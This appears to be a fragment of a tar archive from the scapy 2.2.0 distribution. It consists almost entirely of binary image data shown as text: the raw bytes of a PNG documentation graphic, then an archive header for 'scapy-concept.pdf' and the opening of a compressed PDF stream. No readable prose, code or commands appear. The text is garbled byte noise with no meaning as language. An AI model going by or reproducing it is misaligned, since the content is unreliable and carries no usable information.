ÉZ¾§;ÖnÞÅž(wú|”¯}#/ ˜n]:Ô¢{¥HŸôÈL;¦ýZS0€;o?à†\x{7Ñ(íNKõ®é\ɹ½çô^½©;@†y±±Y{ŒÂ¼I~ôïg!§e½ÙÕN€Üìñ{lÉi”ïÈŠxø?üQºÓl¿w#ÕF\ïfŽ9ÑÃTêR½È:À›È®½ç÷^=üqJ×W|¥¨=Æg-_$îk¥jH,†=¹½Æˆh'0Yçt!®ù5V9øÙ5òã¾¢o:›š?ä&ÀÚÞ³âS?`‘P²~ QÚ{Nß«ç‡1/ßICvS{sÚ¶¶[I)R¾+Úw+L‡€ÌFù1~‡jzˆU”=¦CÖgWH;ÕÙ-n§x(ð÷ñjº”bzŽ˜…ÿ¼ßxTÛ~™ÒX0íÑÔ1ýpºÜ8É÷€ú{L‡bõ¢©®¿¦ì,¼½Ó÷ê ‚¨â4‚'¢üDÿ^½Ã;wA”Š’¿£@„+¹~çŽ ‚ ˆÜˆþ<^ãMs€47HA8ŽWêc|Ü—ê ‚ ‚°’Ó8žQ˜'‚ ˆ|éÕµjå«~ÿ/ºø'ª@è;ï/áAáÁøî­<κõ–«´é–÷ê)œADžhgÝý°¼WþùL‚ ‚ Šñ˜ÜAQNŒ1žùäFxóæÍ€¡&"¼ÿ9–¼|’´wÉÄ$Å«ÆE ™ \¼xqâĉëÖ­KæqÄÞýÊ•+¡dbì„tER;ÀŽñ7$™Ä_®¦&" " "  ' ™˜pvºSD@D@D@‚˜@hÏMSˆ‘À_|±jÕªƒ–/_¾E‹>ø 1›6mÚÉ“' ”.]:S3räHÂÁO<ñDLÍŒ3Ž;öì³ÏfÉ’…šË—/Ožÿ©äáÀþæÍ›>œ'Ož:uê<ù䓹rå¢;=( sŸ}²o¢`%pàÀü0 ëС5ˆ¼jÕªeÊ”‰òã?΃ƒ>}úpº~ýzc¼ÿ~N9¦NjjŒÙ²e+Y²¤9ݹs'¿B0(Q¢D¹råPi4»mÛ6s•_?\BhÞu×]òæÍkê]>»uëÆÕ«W¯šú>øÀˆTÚ,\¸0—8ìêÕ«GÖ˜[ЬiÓ¦mÓ¦¹Ý'Cr¡NE X <ðÀü@9g‡üâ'ŽŸJS‰{ä‘G‰ütó3ž5kV®Ö¬Y“Ÿ;/ 0KüO¥ËsìôéÓ+Vd$<ÁªV­š!CÊÔð§©•†ƒO>C|ÒŠL.WþôçyÚ¹sçëׯ3`þÄ¿ÿþû©™9s&§ .¤%}‚Qˆ@€py¼æË—ïöÛowzãø»œøQåÊ•™À•+W2fÌØ´iS3™Ç{¬X±b 6Ä«gjP<‹—/_ÎéÒ¥K)ãi0—ÌçgŸ}FåðáÃ9521wîܲ6.e§L<~ü8¿~ˆ%9mP™9sæ45þù'¿“œÖªU‹H^R |5$gï*‹@ðF&òýÍ7ßXD¥ù³-44Ô8‘‰ž |òSéòûðÃyPœ:uÊŽêûï¿güljô °d_P ÿ´tˆ@ª pâÄ ¬æƒ0Où&MšìÞ½?n¼FýôÓO¨. V¯^FD5òÌ5é~øUãÆ¹ÊzD>y¸íQ¿~}*·nÝʧ9ˆ8£Mÿ>‹ãÿ8#YÅ#cÇhgÏž½qãF{ 4hÀ/3BœŽ[¶lA5¢n±IŠ!Ù®UÔI€¿ôZ¶liçÎßi]»vˆˆØ±c‡©ôl?•,áAÁ:Àƒ‹.ÆoGHA 'D–% P·‹@Š!@Î c%)ÄeÄÔà!0Î?bÐD‡×®]Ë)ª™ˆ=)/,Z"èܬY3³¢Ñ¬\dQ âÒ,[ÄøÂ… ¶‹2eÊØ²7V <˜éxóçÏO¶ K7vêÔ ¯çŠ+¨DDò‰×Ó$Ñœ½«,©ËH\¦\ªT)j:dê=$ÑO%ÎŽ;2‚!µÙ~ÕezP¸Ið©2ŒN7Š@ #€#³ŽÇeÜèBjÌ2pd"YÌDpˆÿR‰LDDr#2‘´hîÅin7<ŸsäÈáÒ ‰C™JÓ¬‹Al§„±pmò{…è,?ª^½z5pX’UcoáwÃ?ÿùÏyóæµk×™ˆ ÅØ\MŠ!Ù~UÔ@çœË4c{b¤OŸÞXz6HŠŸJvÜ~wÞy' (&úlÌÆc?ÿü3Ë ml·uëÖ,ø#ª‹+ÑØwƹÈb Ü{FMRo‚Ñ&£ÐÎ}À€ؘÕH¶ÒûÂo¿ýf[6w±!âöíÛ]Z œDlšÍÛX&åÜC1)†äÒµNE ˜‰‚4?wf^& Í9GÖ³7ª­aI T±ƒž~SéÙÀç?•<‹ØKu)V#2 Âv„¶ …E‘¨Bâ³`Ô‚ˆ@ÀpÉdAÏ Ö±÷ —Øg›üĺÐNÁØ`6iÒ$Si“HX5hÍ(˜-{ôèAÖ Ò}¹iŠ,HV1r•¿õi„¶ó÷²3Ó™]¸¹…¸6›/ž;wnÉ’%*T M~™‘Fcï%Çì­ˆ[ÑVš‚O†äÒ¦NE X :”Ÿ82Tø[‘Œ1þêcÅOòSi¦Ì©ù$ÎËö‡üH²ó6·°·—˜%þ§Òù#¼ÀS‹gÂçŸ~öìYöáç¯SNU¿~ý¸j¿,=(,ŠÄ´!Nbèé^tÎÇ«+[$²E6Ts»Y´h‘søHIáê®]»L=Y$”PƒtZâÒëҥ˺õ?þÄ'el їΜJ?½ùæ›ãÆ£mt! Ô¶w$Qé²uW}2$Û‹ "Üp âþ·?Âä,ó7!»$:e"kþ† bm(°.g‚!ƒŽôl€Yâ*]žc¬9Éž=»~MþÐ5»ñ·oßÞù•éAᤑ°rn³¬UH pÔkfaY)„¡ÝsPâ¿æp,!¯T©’Í&‰W .ÆkÖ¬ÁoÁGD'[°¦ž4FÔç£>jÔ*ö$\³ o­q6âó!9WY‚‰o`âç‹§‹ù‰sÊ/¦É¦3$ˆüûßÿF¨±>KSêÖ­k640â4°¬|ûSÉn¬,˜¾xñ"2—ÍSñ&òˆ Â3ÍìØeúÕƒÂòOpA21Áèt£ˆ@òà7¿ÒXxDÐD@R=(|øI&ú¦šHZìÔË\YSF´‰ØIÛ¥ZHiô ðá7¦ ³aª)¤%ÀR$–$²3¢Y®ž´©uHõØÇžå¿-Z´ˆDœ±Ý˜¤õzPø¯d¢aª)Ú^;x¾KÍDD@D@D@|H@2ч0Õ”ˆ€ˆ€ˆ€ÉÄàù.5ð!ÉDÂTS" " " "<´!Nð|—î3Y¿~=/®p¯Wˆ€¤B¼ü— •„ M¥I›&4½¾èýv4,?HšÎW½¤åª'ª¯pª@' –@ÿ†4>H’‰É‚]Š€ˆ€ˆ€ˆ@ L ôoHãd! ™˜,ØÕ©ˆ€ˆ€ˆ€:ÉÄ@ÿ†4>H’‰É‚]Š€ˆ€ˆ€ˆ@ L ôoHãd! ÍŸ’{`uzñìÅèÀ’F#" ñ"-w¶té|¶9b¼ºv‡…‡_¹~ÝY£²ø–@Æôé³gÉâÛ6=´&™èNª¸ô˪_4¥”ÿþÍ%ÖÈë‘ÑQÑ¡Yƒá_udXdtd°ÌåFdôÍèÐlÁð½DÝˆŠ Ís b:Á1—Èk‘Í:78f`Ò=^¼l¹ôç Ϙ6"uçÂÃs¥OŸ6M/çÈfçoÞÌs9xíÚé òäÌéàÁð°ó©`íåÀ¶i_K{íõkÁ0ÁI!!GCÂß †¹L ù-$|tPÌevHÈÚðÅ\¾ Y>-(æ²4$dvHø¬ ˜Ë·!'¦œ„ü´‘‘;ÃÂrÂP=†b!!Û#"‚c.åxݼ™/ÑL¡ZÙ³_¼rÅo21þâ „¯Mc # ™d_¨¦#" " " ¾! ™èŽjED@D@D@‚Œ€db}¡šŽˆ€ˆ€ˆ€ø†€d¢o8ª2’‰Aö…j:" " " "à’‰¾á¨VD@D@D@D Èܾ‰‡5j”“ræÌ™kÔ¨qçw–/_ÞYïeyÆ óæÍ«T©RÏž=½¼ÅƒÙ™3g^ýõæÍ›·k×΃™óÒùóç¿þúë7¾õÖ[ï¼óÎý·§MlåO>ùdÓ¦McÆŒIŸ>}Œ6ûöí7n\—.]êׯ£*E@D@D@D aN&ž8qbâĉ1NæÉ'Ÿ?~|¦L™b¼cå7ß|sï½÷"4ÿïÿþ/FƒøV^¼x‘áeÉ’ÅÈÄ?ÿüsÕªUH´’%KÆÖšpýúõ%J”4hЕ+W¸=Ož<<|Ê”)›7oæÁß:uêËFJš yüñÇM›6­[·®ÃêÕ«ñöíÛ7wîܶ’Â_|l¥°hÑ¢£G>÷ÜsD·Ô/Y²„bßD«ûôéCù£>ºçÖa-üñG,wíÚuÇw0þzõêáµW] k×®e©åîÝ»™ÑC=ärõæÍ›,g$~üøq8à¿t1Щˆ€ˆ€ˆ€xI @ƒÎ1޾råÊ„žwîÜyõêUc€´ªU«Ö /¼@žÊöíÛ|eË–¥ÀÕK—.!ÈX;Fáûï¿§’²a£ðΞ=‹88p ² ­iÄþ•W^Y³f95Ÿß~û-•çÎsVRF#®X±‚Â?ü@ׯ_w1 ž.¨DÛa€r=uêM™ÁcNQ¥\=yò$« 5jä!Õ†\–ÆðÁIJg̘ѤI“™3gÚNQÀ4Õ«W/2fèèóÏ?'iÆ^UAD@D@D@âE %ÉD&f2E3ÛÚµk“ªB4yÚ´i1Î…²|õÕWMº4Ÿ„’±$d£}RW¾öÚkt1räHÔ-Vd"dYÈøÆoDFFºôŽuônõêÕ¹”6mZnwÇ÷ìÙC=+8Íì©“.CM¼’~\:Õ©ˆ€ˆ€ˆ@ª%Âd"¡d¾*³Fõˆ”»uëÆêC{˜}a¶nÝã7Êê@üyóæå*ËøhY£¥*ÙC¿ :ǧ?ã '¿Ûe ÓÉæ!•ÇYß¹sg{J<2Ç?ü*e;ò™1sFk£‚ˆ€ˆ€ˆ€xI ÖT /ï÷³™qû™Ì #¤\d“{éÄ60²IHy!ÂKSxì²eË›eR×ãõDª(Ïš5«{_îS0[ê¤I“ÆiÌvŒö´cÇŽC‡>|8.Rö‰dGq#­ " " " "à=”$É\Ù²eKöìÙ ,È É}æ“Åy&bëœ3ñVç©-“+ýÒK/Ý~ûíDfÉÿ Y˜6ãܘ1g[ðaÁŒŸˆ9I'îͺ/ddš8],oܸá¬! |À€K—.%K†Ì›Y³fqUkˆTð’@J’‰xÉÛxþùçÍÜHj¦À HjÖ¬igKº1^Æ7Jd‰ËûЈ,mä5*æ–uëÖÙ{c+àö‹íRbê‹)Â"B^¯bvê±MÑAgw¥‹•Ñò§”¼{#»ù h‹-J Am(2úø¡ãÖFð’@ŠY›Èz;($>ÍÜØü…ÙÄΩâK#ÃÃ,[tÖS&›˜ qØ(ÑjD*ÙbÐif6,$l+Yägv½±5¾*>f 4nROL³$qW©R%Æ=qZ¶lÉÊEÞàl€s‘= í)¢°X±b$8›æÂnA”¯^üÏþAÖRˆ“@€zÙΚ—à™Ñ³M K Ù7ݱߡu³‘×Lì˜]iÐ[½{÷&M˜}§Ù€°jÕª­ZµrŸ9¡jZ`m" ¹ŒÕÅþ2øi§\¹rÄ‚/^Œç'ëûõëGâˆÝXÑ¥YÒ©a+G¼˜¸]º»Ÿ²2‘½Ù‡é nÉÔ&NŠ»ñÓO?=zôhVhf"XLÙZò&CvófïqBÏèEZ3³ËS8æ¼½Qp' 2‘t 3\^m‚ƒð‘G4hÙÇNƒˆ*ªŽ÷Žp˜Jœ…_~ù%‘\kc h86ÊyôÑG»téb*Éð`_î¶mÛ²¯5oÕcWjúBZ±±"9јõèуŒÇܶã,ð:ÖJ¾wë@·Y ë´ñPf^;º°šO'JÑ™¿loÇ“Ê~Ý(cT õì"É®@LÙØ0l¢ÒsæÌa nSƒt¦¯h>sªOðž@ÀÉD6ˆñ~Ÿ?$ÚìÙ³Ù>pp‘ÛË+Uœ“w¾ï„úx€•‹¼µ‘hÄd‰Ì²%5.ÆòåË›qLâkäE,lRÈ`L=JÎ\-]º´sx €Ý¹Iáª{& •èH§=I3ÎS Haá•*¼ýK/½”˜æto`غu+ϵUJ<úÒ£9BJD@ü@à§E?!ùÍ×£Gw÷ÜsÏ!{µn]¢@7¢E © |·ysÆL™©ëòæÍkÆù—LL›6mƒ ’zÜjßÿnÞ¼I§¹óå®Ú ªÿ{W" " ï:ÌHŠ/ž˜_v¹s禑ZåÊU,^<@æ¥aˆ€;tiÓâþKÌ?ug›Z›è¤¡²ˆ€ˆ€ˆ€ˆÀH&Ꟃˆ€ˆ€ˆ€ˆ@ $c€¢*ÉDýˆ€db PT%" " " " ™¨" " " " 1økCs|ôÑG¿ýöÛßg®ÿ>|xÖ¬Y§NºmÛ¶ &¸^Žéœý¥^ýõæÍ›·k×.¦ëÕ;öôéÓÆ ‹Í  ê½™Qâœx&ûöí7n\—.]?µ " " "j üW&.¹uÄÁ‡L\¶lÙüù󽔉/^œ8qb–,Y<Èį¿þúÀ)E&z3£Øz_Ÿx&üñä«U«–˜÷ x?`YŠ€ˆ€ˆ€%ÿÊD3½7ò:#÷©æÈ‘ƒÊ‡z¨bÅŠîWU#" ¬ž·úú•ë RÐ¥†fÉž% ØÃPy7Éås—=¤ KõÚÖËqÛ_¿§tˆ€ø€«LÌž={Μ9cëàÑGõÎ·ØØ¨^D fkæ¯yýá×ÿ/k¦˜/§¨ÚsQÑ—ümÚ4d.#$å…7Í£Þ2eÊÄ2AÈ€]»aü¶ÄÉ›8Ç9f̘ P´ÌP´Ü¨CD@D@D@CÀuCœ5kÖ|ãv„……ÅØGÏž=qΡç:„ pýúõ,aD™={ÖÝ)ƒF0`ÂcTÔŽ;¬%~;$Ý–-[ðÌE”™½kÑ¢EÜ…©ñfð¨Õüã“&M:wî>HÛ”)PFDª2ßíÛ·“²}ÿý÷ãÅœ={¶1?~<±ÿþL™¹“è¨ùî»ïŒAœL0ó‰ŒSc–Qâ½³w}þùçtݽ{wj¼<þB†Ñ§OŸÜ¹sÛvl!{ûí·3Yœ…Tâ%%6 ó½÷Þ36¨7DÞ«¯¾j ø4qvbåÄÉ›8Ç9räHÂýäž.Ü^{íµºuëšèSD@D@D@LÀ5èÌþˆî‹ Cî°‘J⛸èìÕúõëS&RlkLñü¹C[µjeå‹ YŒˆº Y†âdÿgŸ}Ö¥{ŠsŽ2á`[Cáá‡F6áØÃiG´·páÂÄ G“NR¼} ÀÒûÁ(wvaË'Nœ@=÷èуˆ³­$ØÝ¤I“+V z™á0W©Áá‡ÑÇÉË8ÇÉdYgÙ¦MÛ,œxv5*‹€ˆ€ˆ€ˆ@| ¸ÊĶmÛV¨PÁ›VX’ˆ™‹@17^¸pÁ¥ÿüóVSÆkð.]›S3#àr•1 ípsd'ŽFijhÓΔš8™Ðrœã¤Ú¼råŠÓOI^‹Ë¨t*" " " ñ%àšÂâýýM›6Ř;oA‘KaVÔ9ëQl&4Ù¾¶žS›C²!\;hÐ {•mq؉ícÞ´éÝåµf培dÚÁ¡ˆJ#¡×#«mãñ¼½ËYÀwçw._¾ÜDŸÍ%öGdWH¶Î!äM† ©Ül”h5"6ì°h‰“ –q޳eË–¸Tyƒ³mç";5ÚSD@D@D@D aîM$Ë„Xê§Ÿ~ÊÂ8ò£ ³â·c§ÃªU«’›â2|]ìÛBbò=÷ÜC"0‹ç–.]J@íh,‰8ボ>}:þ3MØÚ†Ð3;#âª4I'. >fƒnì‘k¬8$AÈ-ìníÌóíÒ¥ o£f‡Œ‰ùÚFâ5x{—KWQ3ÓfÍš}ðÁäß Ùï¼ó– Ì—/kÙl1‡dŽÑsì\ƒ¯1N&4ç8IÄ&°>tèP‚Ý;vDU›²ËPu*" " " ñ%p™HO,L$ÀÊ.0¦cœgl|ã#æê‹/¾ˆ+hMF<±õ Wi‡W¤tíÚ$‡i ˆô4e÷OV.’ò‚Dã0WÉtvq¤tÆç‡€³É+¶x ÞÞå, þfΜÉ7öÍ+¨Þ… š88z‘½rpg"UÍ]¼'†|’„Ø ˆ=™¸g&æ.ÏãDkþðÃèõ7oÜ‚–mtø"œCUYD@D@D@âK n­øÞãbÏV…ì€CrF¥J•xŠËU—SvUd·Eâ¤dr h\®0%,KR0»qÆèbàrÊàYïHâ ‹gN¡‹el§ñ|Œ°£52”M0’Ô$¦XKò¸Ù}L,ž(3ã„.FŒ‰M3ÏLŒçq»g ;wî$K$ôÌ]À$lÝ¢{‹ÁŸþ÷ýŠæ’>EÀo¾›õÝé§ÆLš—õ=ÔhÀÜ×ýF/é:Z·xÝöÇÞù2h^Ö×ôŽ!ß¿®Å“î3ú­·Þâ±ÙÄYk€—#ìâM°·vÕˆÓ^",²´j•9[¶ì%`<‰ò&šþP<^öM¸™#6c–ñY_cl6Îzvì˜ÓÞ‰Êí«·¯]¸ÖyUeˆ“@2Èį¿þºI“&¤t8p`üøñM›6E™†‡‡¿òÊ+Ó§OwŽ{ܸqTf̘ÑYiÊþù'—¬À2•ß~û-•çÎãIù³Ï>»çž{Yô8vìØ† N˜0ÁÇi`Ìh„q~ôÑG'Ožd‰a£Fzöìi.ñÉŒ£óæÍkÛ¶-Ÿüñ‡½[IÝu×]è¼;vìܹ“±1ªiÓ¦aŸ.]:DÞSO=uíÚ5{ûñãÇ©Y»v-¯±¦r×®]µjÕBenذaûöíO>ùdÙ²e)X{3$35§Žž:ýÇi{Ið†@2ÈD„Úk¯½vöìYRžqæ,XFv ÃE>æÉ“¥e‡NÎÇœ9s*W®|ÇwØÊøH1~ùå—陸uëÖ àSVy3%w›ºuë"LÓ¦ýk²5kÖD§26=cÏÜ‹’ )F!C† 8A+T¨ðÆo 6-ܸqãé§ŸîÓ§OîܹM‡Ï‹/véÒ…a”/_Þ˜Õ®]»^½zG5§D®áã”˳fÍÊ•+j P‡7nlß¾ý}÷Ýgo5jÔáÇ?ÒT2$l(§Ï˜ÞÔèSD@D@D@¼' 2‘åtÎñuèÐ!kÖ¬Ä^M%Ž4 V!!w]»vuÞßrŒ=â´íx0@PnÛ¶ Y¼xq<|æ 8Þ AÜuû÷ï·´nÝÚ–=pg²šH±1;uêÔìÙ³Q~ö®B… ÑþÒ¥KèD4ãv}ä‘GLäu–TvëÖíïáüõÿúõëS‰¯Ô6Ba;OUï „zoê+Ë%J8›B¢Àð„™J–ýåË—™8dÈ+W®,Z´¨Y³f… vÞßrŒ=®µíx0``¾‰ê¢e­½-\¸pÁ–Ë”)cËqȪyï½÷¾ÿþ{$ e ¸,¾D.³ærÅŠ„’‘4h]ªF›Ï¢KGÎñp)‘Ü\שˆ€ˆ€ˆ@ª" 2‘•y.ˆ ÚX-Kôˆ;³Èu„d7ã'³òÈ宨NÝ·°Ž±ÇôéÿŠõ``ÔáÝ^½z¹÷蔆£Ý b¬!+™U˜¨=ͯ¾újõêÕkÔ¨w1jíðÏþ¹ld"al®š!͘1ÃÁí-XÙé<%ˆïœ=z¬%*¶L̲³/^L¶2¹>¬ƒ´WIj¦\­Z5ÖYÚJ”.º3þü¶FH dX›8yòd³äÎŒ›Yÿç\؇€cõÙ¼à§ZŒÑ^s¯ñ–9p仨u!Âv3x%m¥Iaaƒ[ãÁ€T,iÓfÕpYÒUªTqî‰c›ò¦`Òº`—Gçv6¦ä2š¬jÆÐ½{wÛ²¹‘YØ ìéˆWÒ,[tÖ«," " "  # ÞD¤¾Ã7ß|óöÛog³6M,Z´¨3¤ËB=Ô!Û2%ÏçråÊÅå†ôÄÛG¦0›ÑäÌ™?Ÿ»p³Àñí·ßΛ7/NÊaÆQ ¤km<°2‘E“ì€CJ2RŒ´â«W¯²m¡m!^BÌØã dHÅŠc»ošbŸîÄ£É_1­íÇ‘§¸K–,i»` ¸c?ýôSä#ûrìfRìéXµjUvê¶f*ˆ@à8õYàŒ&#9ââøODcÉ빈 ù^Ø&×î;‘üX5"É Ià%iÝf0â–[°`{2ùظqc´3gÎÌ>ÕìzÈN4XöèÑ£oß¾?þ¸ó.ö¯Á÷fãÚ¥K—ž?>álkãÙ/û]Ó²uéeÉ’¥è’m[‹³€&æM-´É1í¡C‡²ß ¢Õˆ 5Ñd"È8VW­Z宕Y˜1¶(ç0ÝÕ©SçË/¿t.¸Œs2ÿ¸§ý={Wnÿ÷îQþé4‰z¹ÞåžIÔ¸Ÿ›½³Å;º·˜Åu±¸Ÿ‡á“îÂÃ#ºxØ'M©'¿ÊD\}tÏÊ<öá“vlèžüŸ 3²:ð,:‡ë^ÆÖ²eK’‚ùŸý_ÌN„H:§eÅŠ é²…5;QWªT‰×Ÿ /ãe@ 7oÞ¼{÷nV ’Mâ\Èî6ÎÝ˼|Ͼ1Ç~Œ™"i…‡‘ÌòTXòXªT){;XÉ6жÆ²gÏNú3:²~M&e\ŒÓåFŠ€ÿ dÊ’©ÿôAþïW=z&!S†Þÿzγ®Š€¤r~•‰–5Þ8Ü„¶Æ¥ÀbAjܽh.fæ”íl8b¼d+é‘äb[ãRˆÓeæ¹—ã<%”ÌaÍÐŽv»lSI®7:Š„Ñ­™³€&6²ØY©²ˆ€ˆ€ˆ€ø„@òÈDC'‹—‘]µ‘¼éăe_b="i.æý4ÄЃx¦ššˆ€ˆ€ˆ@À8™È»IΜ9C¦3ë–ZRŒm·YpIÄHêLRw§öE@D@D@DÀ@ÀÉÄï¾ûŽW‰ðª:Ÿl Ý¢E VV®\Ù}æ¦&NƒØnLÒze²B‘…›zJ’rVã" " " œL4›Åxq¼.±c‡‡[â4ðpoÒ]b1¢Ë:ŤëK-‹€ˆ€ˆ€ˆ@ŒâÈ#ŽñUŠ€ˆ€ˆ€ˆ€=ÉÄ ÿŠ5AHÉÄ„PÓ=" " " "ôþ³6Q¯9 ÊoÚ|­ÑQÑú~ƒòûÕ¤D@¼$`^±Ègb†ÑÑÑt™¸F¼°ÌD Áø‡Ê‘˜êtÍËMÌ‹NÒÐÖõë׋)’à鯀%À›]x½uh†ÐÌÙþç­3;` LD@’‚ÀͰ›a×Âxÿ–Ë+¸âÕ×¥K—"""rfÍš.­qñ"'c¿8wù2 /wî܉éµ}ûöS§N¥…¿dbbÒ½L€—¸4mÚ´E÷ƒ?ÈãÔØD@D I ,ž¼xtŸÑo½õÖ!CÜ/†e˶]3fT,^<ÁèFHjYZµÊœ-ÛÙ³g}Ò‘þ$ò F5"" " " ÁF@21ؾQÍGD@D@D@|B@2Ñ'Õˆˆ€ˆ€ˆ€ÉÄ`ûF5ð ÉDŸ`T#" " " "l$ƒíÕ|D@D@D@DÀ'$}‚Qˆ€ˆ€ˆ€ˆ@°L ¶oTóŸLô F5"" " " ÁFà?ït¶ii>^8êüË_Îz{V¯ï\ÃÈ›‘Ïz¾h™¢;D¯GvñìÅ!݇dÈšÁë;×0"<"*"*C–`˜KdDä/=Q­NµÀÅ­‘%+áÓ¦mܱƒ÷á&ë(|ÓyáüùßþùtéÒù¦9µ’2 H&¦ÌïÍw£^9kåþªû£ZGù®ÉäkiSÈüæ?3ò™äÏz^»`í¾ûÂ;‡û¬Ådlè‡!!½’q¾ëúPÈ㾨6K2ÑwHƒ«¥Qóæ}¿Y[…„¼Ò»wÞ\¹‚ë+ÒlâG 8þ1Çoβv%ÀûÁ[ºÖ¥ÈóßCÒ]ž?|ÓäJ$ßË™KÁòolnH†ÌÁàM‘?à)aЙҥk’#% 5Î1–Î’%N=`pŒý—¤ Š€ˆ€ˆ€ˆ€ÿ H&úŸ¹z@@21|I¢ˆ€ˆ€ˆ€øŸ€d¢ÿ™«GH$SÀ—¤!Š€ˆ€ˆ€ˆ€ÿ H&úŸ¹z@Àß2qĈýû÷ sg³råJ.ýôÓOî—Rt͆ 8}útfqìØ1æ¸lÙ2/gôÉ'Ÿ`óæÍØì÷íÛ”Ðb›¯êE@D@D@üFÀß2qΜ9'N¼qã†û ùå.íÜÉ>¼)æX¾|ùÂ… = ÷›o¾©[·®×™3g(oܸÑÃ-ÎKHgì=ÈÄ?þøÃ6î¼QeH$m¯(€C‡½páƒ>[+Ÿ}öYhhè¡C‡òçÏM¾|ùܰaÃØìU/" " " B@21i¿¢Ì¹rå2‘ž (0lذ¤íR­‹€ˆ€ˆ€ˆ€/´Lܳgχ~¸wï^^£^¹rågžy¦H‘"ÎYÿøã‹-Úµk×wÜqï½÷Ö«W×1¸téÒ„ ZµjU´hQ²¿þúëüùó÷š2ñ\Öÿ­Zµêøñã… jÓ¦M§NÒ¤Ic-/_¾ZjÆŒC6 L-™1Ìš)[K÷é06{Uˆ§°x?¸çž{¯Þ–-[<ˆØB"¼ÐI¦rGpÑÝÿýøóÈ}9}úôSO=ÅBÀ÷ßßÙw!q%’êá¬7å¹s碻víŠçoÇŽôR°`A´âÏôìÙóÈ‘#(TâÔ\¿~}Ž9Ž8k֬ɥªU«/^œÂ›o¾éÒ¾©¯_¿þm·Ý†•žN3í;ÍLMù /àËܶmÛÎ;7dÈ3fXK÷éÐ5WÃí " " " "à%•‰xà~ÿýwâªD“™ Aç§Ÿ~ؼys31rFމn£€«oüøñ*Txã7p¶>£££q"æ0°•¶@P›r‡’òäɃ3’^"""8E’’Œ ð¾ûî3·Ô®]{Ô¨QÄ‘§M›fjóßö™,ÞAä&¾Lú… H£¶cpŸé2\‚µQAD@D@D@¼$ 21}úô,Füí·ßð·áÃCeÍšõÙgŸÅ“ÇÄqxÔPHxìXùgB® 4 ñzÚöUHUüÂ’.]:ø:ã·©4T"ÚXtÈÚDrYH.!£yÁ‚ä¼ýöÛ3þå#Ü«W/{»-8¥aŒ±fkI5… Xºté÷ßÿí·ß²[ kyµ ªÑô‚N5qmç]„§§ +Ç·}†;Ó¥/—Ê]¦CFöZ›èM§" " " Þð·L$+™8ÒêÔ©ã2>³´Žõ…Ô_¿~¬”ܹs³Ñ 5øÒš4iÂÞ4,Èc[V˜ÆÅèl/#Agï5܉'ðJ²cY,IJI‹¡}Ô¡ç²eËÒxµjÕÈV±½00o÷A´õ (Ä·}\‰$Y_¹r%[¶l¶;òZlÙ}:ÈhdîñCÇ­ " " " "à%‰ 32A\ÆGñW_}…2 ìP?¬;4h5#Ú[¾|y´#‹ ¼6mÚtÅŠFY¢q@²–ÑÞgU¬X1œ%{.¶hÑ‚²i–.(;ÖÙ®G2H̲Bg}Êñm¿eË–¬¿7nœí çâ”)Sì©ûtŒÂ¾zñªµQAD@D@D@¼$àoobïÞ½É&&û˜ ¶³AúžÂ*CÔ~2.±¡#øðØMŸ>—fl…Cè™ 0Ž=“_‚ۙبQ#vÀ!݆ô¼zõ*ù(^Î3ò¦i–ý´‰Õ¢idøðáÔÓ#Ÿ4Kô§Ÿ~Š*eØÄ¯6; ’7m·H$Ý•Énˆ$—˜ ²÷½{Ó¾³5r½GÍbJÍ,CD1›²µqŸŽÑ”y û Dn{QAD@D@D •ð·LÄc·páB6j!ŠËкIÅø×¿þÕ¥KÃÉEä—@0Þ;S‰FD¨™2.=›ZwïÞÝÔdÉ’…Öœ™¿¦ÞÃgÿþý ã²ÿvãÆ»g³<±mÛ¶æ”A2Þ¶Âajˆ•ùå—Ä»Í)‚q‰¢íׯ_Œ;#³Ø>ãlßy#®Ö~ø动åàVvÕ±á{÷阥™ùŠÆšëíl_epð·L¤ov¨!%™ wîÜÉæˆøáp"û\ÒMØ›†82¯Ñ;zô(ꈳ XÛÑ“ÂÂí›7oæÍul‹Í›úœKñƹ_ é2h>|rì¿ÍnÕ,R¤ ç:Ù³gŸ={6«ÙWe¥J•èÅ€™ÑHL&bµšó*e2cœ5ìéUœíã^å°-àÈd“ ¦L,âÄ Û ûtÈ ÂïhoWAD@D@D@¼' 2Ñ ®ð­Ãó@q¶nÝÚƒ 2‹¼6q^"ÀÍáÁ …Ê£ÎQd"GŒW½¬ôо{ äî°=$‡û%Sãœ";63Õ‹€ˆ€ˆ€ˆ€gi=_ÖUÔI@21u~ïšµˆ€ˆ€ˆ€ÄA@21@º," " " ©“€dbêüÞ5kˆƒ€db€tYD@D@D@R'ÉÄÔù½kÖ" " " "ÉÄ8鲈€ˆ€ˆ€¤N’‰©ó{׬E@D@D@D ɶ½vãÒeÈ•/WÔ€¨l{³ù«Ã$ìçÊÜ+ÙßÉžú#ƒDIDAT„ø±éœyrÞs#Ûñ`ø^"ŽED]ˆÊÐ%ƒù%UW×V^ËÐ)&’T€R}»\½Ú-K–¬iƒÁóû•+¡éÒ¥ú¯4µLLíÿZtm"‰ŠŒ ÝCîjuW0L$$¤Áƒ F­uóÆÍà˜NðÌ¢{HÆ5‚g:š‰¯ úüó]‡ûºÕäioHþü¹³ÉÞÉC0(z•L Н1q“¨ÝªvâÐÝIB V³ZIÒ®H2% à¿$k^ ‹€¿ ƒcÜßÌÔŸˆ€ˆ€ˆ€¤’‰©àKÖE@D@D@D þ$ãÏLwˆ€ˆ€ˆ€ˆ@* ™˜ ¾dMQD@D@D@âO@21þÌt‡ˆ€ˆ€ˆ€¤’‰©àKÖE@D@D@D þ$ãÏLwˆ€ˆ€ˆ€ˆ@* ™˜ ¾dMQD@D@D@âO@ÛkÇŸYJ»cò }îê“ÒF­ñŠ€ˆ€Ï\<}ÑWm=üúë™3腾©v|O ,<<³ïZ•LôË@méÒÙKü¨£Ó¸D@D %Ø,ïâKIÐ5Öä#&:::ùzWÏIK <<üܹsIÛ‡ZB {öìY³fMð`ÏŸ?ãÆß®EÀoÒ¦M›/_>Ÿt'™èŒjDD@D@D@‚Àÿw¹ˆmS•IEND®B`‚scapy-2.2.0/doc/scapy/graphics/scapy-concept.pdf0000644000175000017500000001724211170743163017700 0ustar pbipbi%PDF-1.4 %Çì¢ 5 0 obj <> stream xœíXKO#G¾Ï¯˜[`%š~?®‘¢(R.‹å²äõb²cl#þ~¾êén=/£åEHØS®úºÞU=/5g¢æô—>WÛêöÎÕûJÔô·{¨„´œ9YK÷¶VkÆu-èÆ×»uõíS¥Á¢¥©ßªWßý~‰à¢z¿p–×Û(ØTʹΗøSSm*!œaÜ@8ÜB:(í2¡9´ôL¢d™)Š4œY(¥y`¶Ë’q7Õߟê§èNþðV1ïU–Ø; 